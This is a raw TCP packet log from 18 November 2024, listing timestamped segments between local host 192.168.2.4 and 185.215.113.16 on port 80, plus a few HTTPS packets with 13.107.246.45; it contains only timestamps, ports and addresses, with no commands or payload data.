Nov 18, 2024 21:04:16.681037903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.681077957 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.681127071 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.682390928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.682406902 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.682460070 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.688513041 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.688534021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.688574076 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.690622091 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.690639019 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.690682888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.697619915 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.697635889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.697650909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.697671890 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.697709084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.700468063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.700484037 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.700515985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.700551033 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.715909958 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.715935946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.715964079 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.716011047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.719428062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.719444990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.719504118 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.719537973 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.733206987 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.733225107 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.733239889 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.733264923 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.733297110 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.734384060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.734401941 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.734471083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.748069048 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.748086929 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.748130083 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.749385118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.749403000 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.749440908 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.749460936 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.760664940 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.760683060 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.760720968 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.760737896 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.761852980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.761869907 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.761897087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.761904001 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.761938095 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.769294024 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.769335032 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.769393921 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.770625114 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.770642996 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.770683050 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.770718098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.785700083 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.785716057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.785799980 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.790271044 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.790288925 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.790363073 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.791759968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.791776896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.791824102 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.791863918 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.795140982 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.795166016 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.795186043 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.795203924 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.796864033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.796880960 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.796915054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.796957016 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.800713062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.800776005 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.800920010 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.800951004 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.800967932 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.800987959 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.802395105 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.802412033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.802453041 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.804428101 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.804445028 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.804481030 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.804496050 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.806524038 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.806540012 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.806555033 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.806602001 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.806634903 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.809760094 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.809776068 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.809818029 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.812740088 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.812756062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.812834978 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.812834978 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.814774036 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.814790964 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.814836979 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.816824913 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.816840887 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.816855907 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.816870928 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.816889048 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.818674088 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.818690062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.818732977 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.818747997 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.820542097 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.820559025 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.820609093 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.822526932 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.822542906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.822597980 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.824230909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.824248075 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.824282885 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.824299097 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.826112986 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.826148987 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.826163054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.826190948 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.826205015 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.827985048 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.828039885 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.828085899 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.830459118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.830476046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.830528021 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.832977057 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.832993984 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.833053112 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.835393906 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.835412025 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.835468054 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.837213993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.837232113 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.837246895 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.837266922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.837282896 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.837301970 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.839365959 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.839384079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.839409113 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.839426994 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.841507912 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.841526031 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.841572046 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.843591928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.843610048 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.843664885 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.844044924 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.844062090 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.844089985 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.844106913 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.845668077 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.845684052 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.845736980 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.848258972 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.848299980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.848352909 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.849029064 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.849081039 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.852077007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.852093935 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.852130890 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.852147102 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.853251934 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.853270054 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.853317022 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.854157925 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.854873896 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.854891062 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.854944944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.856173992 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.856200933 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.856262922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.857832909 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.857850075 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.857882023 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.857901096 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.859137058 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.859153986 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.859168053 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.859209061 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.859226942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.860394001 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.860409975 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.860462904 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.860630035 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.860646009 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.860668898 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.860687017 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.869858980 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.869874954 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.869934082 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.871130943 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.871149063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.871222019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.872272015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.872288942 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.872353077 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.873049021 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.873066902 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.873114109 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.875561953 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.875622988 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.876486063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.876504898 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.876519918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.876554966 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.876574039 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.877990007 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.878005981 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.878046036 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.879125118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.879142046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.879162073 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.879178047 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.880616903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.880634069 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.880680084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.881933928 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.881956100 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.881979942 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.881995916 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.883047104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.883063078 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.883078098 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.883117914 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.883133888 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.884975910 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.884993076 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.885041952 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.885742903 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.885761976 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.885797024 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.885813951 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.887120962 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.887137890 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.887187958 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.887955904 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.887974024 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.887989044 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.888006926 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.888022900 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.888041019 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.889601946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.889616966 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.889658928 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.889704943 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.891057968 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.891073942 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.891143084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.891143084 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.891462088 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.891480923 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.892024040 CET	49828	443	192.168.2.4	13.107.246.45
Nov 18, 2024 21:04:16.892030001 CET	443	49828	13.107.246.45	192.168.2.4
Nov 18, 2024 21:04:16.892560005 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.892576933 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.892638922 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.895001888 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.895018101 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.895077944 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.896729946 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.896748066 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.896763086 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.896787882 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.896841049 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.898765087 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.898782015 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.898812056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.898844004 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.900624990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.900640965 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.900670052 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.900696039 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.903078079 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.903096914 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.903139114 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.903166056 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.905356884 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.905374050 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.905416012 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.907330990 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.907347918 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.907361984 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.907385111 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.907411098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.909336090 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.909353971 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.909379959 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.909399033 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.911147118 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.911184072 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.911210060 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.911243916 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.912378073 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.912395000 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.912439108 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.913666964 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.913719893 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.914613008 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.914629936 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.914645910 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.914647102 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.914674997 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.914690018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.915919065 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.915935993 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.915975094 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.916830063 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.916846991 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.916867018 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.916891098 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.917959929 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.917984009 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.918029070 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.920424938 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.920442104 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.920485020 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.921786070 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.921802044 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.921835899 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.921855927 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.924210072 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.924226046 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.924240112 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.924264908 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.924303055 CET	49818	80	192.168.2.4	185.215.113.16
Nov 18, 2024 21:04:16.925559998 CET	80	49818	185.215.113.16	192.168.2.4
Nov 18, 2024 21:04:16.925575972 CET	80	49818	185.215.113.16	192.168.2.4
